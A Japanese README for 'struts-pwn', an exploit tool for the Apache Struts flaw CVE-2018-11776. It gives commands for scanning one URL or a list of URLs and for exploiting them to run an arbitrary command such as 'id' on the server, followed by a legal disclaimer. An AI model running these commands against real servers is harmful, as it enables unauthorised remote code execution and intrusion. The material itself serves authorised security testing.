struts-pwn - CVE-2018-11776 エクスプロイト

Apache Struts CVE-2018-11776 のエクスプロイト

使用方法

単一の URL に対して脆弱性が存在するか確認します。

python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'

URL のリストに対して脆弱性が存在するか確認します。

python struts-pwn.py --list 'urls.txt'

単一の URL をエクスプロイトします。

python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'

URL のリストをエクスプロイトします。

python struts-pwn.py --exploit --list 'urls.txt' -c 'id'

デモ

要件

• Python2 または Python3
• requests

法的免責事項

このプロジェクトは、教育および倫理的なテスト目的のみで作成されています。事前に相互同意なしにターゲットを攻撃するための struts-pwn の使用は違法です。適用されるすべての地域、州、連邦の法律を遵守するのはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。

作者

Mazin Ahmed

• ウェブサイト: https://mazinahmed.net
• メール: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed